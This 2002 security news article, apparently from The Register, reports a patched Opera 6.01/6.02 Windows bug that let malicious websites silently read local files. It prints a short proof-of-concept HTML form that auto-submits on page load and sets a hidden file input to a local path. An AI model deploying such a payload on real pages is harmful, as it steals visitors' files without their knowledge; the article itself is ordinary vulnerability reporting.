Opera vuln gives up local files
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Posted in Security, 27th May 2002 16:10 GMT
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A vulnerability in Opera 6.01 and 6.02 for Windows allows a malicious Web site to grab any file off a client's local drive with ease, GreyMagic Software has discovered. That's the bad news. The good news is that affects only Windows, and it's fixed in version 6.03 which is now available for download. Version 6.0 is not affected.
The problem lies in the way Opera handles form submissions involving file transfers via HTTP. Normally, you'll get a dialog thrown at you warning that a file transfer is about to commence. However, in this case it's possible to alter the 'value' attribute to avoid the dialog by making it appear that there are no files to be transferred.
This is accomplished with remarkable ease:
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php" name="secForm">
<input type="file" name="expFile" value="c:\test.txt " style="visibility:hidden">
</form>
</body>
The form is then submitted with the requested file. Notice the bit appended to the value statement. That's where the deception occurs. It shouldn't be possible to set the value attribute, but a coding oversight somewhere between Opera 6.0 and 6.0.1 permits it.
GreyMagic has a couple of fun demonstrations linked to its advisory here. ®
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